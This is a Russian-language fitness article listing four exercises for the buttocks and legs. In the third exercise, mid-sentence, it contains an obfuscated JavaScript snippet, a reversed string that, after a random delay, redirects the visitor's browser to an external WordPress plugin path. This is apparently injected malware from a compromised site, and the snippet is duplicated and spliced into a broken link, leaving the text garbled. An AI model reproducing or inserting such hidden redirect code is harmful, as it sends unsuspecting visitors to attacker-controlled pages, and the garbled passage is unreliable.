С этими упражнениями вы будете смотреться в любом купальнике идеально.
Упражнение № 1
- Лягте на пол лицом вниз, голову положите на руки. Возьмите небольшую гантель и зажмите ее.
- Поднимите ногу на несколько сантиметров от пола и медленно опустите.Сделайте 20 повторов.
- Поменяйте ногу.
Упражнение № 2
- Станьте лицом к стулу, нагнитесь и левую руку положите на стул, предплечье правой руки-на спинку стула. Согните таз, а левую ногу откиньте назад.
- Опустите ногу на пару сантиметров вниз, а затем поднимите. Сделайте 10 повторов.
- Левую ногу оставьте в том же положении и сделайте 5 круговых движений в одну сторону и 5 круговых движений в другую сторону.
- Затем поменяйте ногу.
Упражнение № 3
- Лягте спиной на пол, согните колени, руки положите по бокам. Ноги расставьте (больше ширины плеч).
- Медленно поднимайте и опускайте $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-target-butt-muscles/?socsrc=Fitness_FACEBOOK_20160515170000_469822541?page=6″>ягодицы.
- Ягодицы держите на весу, вращайте тазом, при этом сжимайте ягодицы. Сделайте 20 повторов.
- Затем опять опускайте и поднимайте ягодицы вверх. Сделайте 20 повторов.
Упражнения № 4.
- Станьте на четвереньки.
- Согните левую ногу и поднимите вверх. Медленно опускайте и поднимайте ногу. Сделайте 20 повторов.
- Затем поднесите ногу к правому колену и верните в исходное положение. Сделайте 10 повторов.
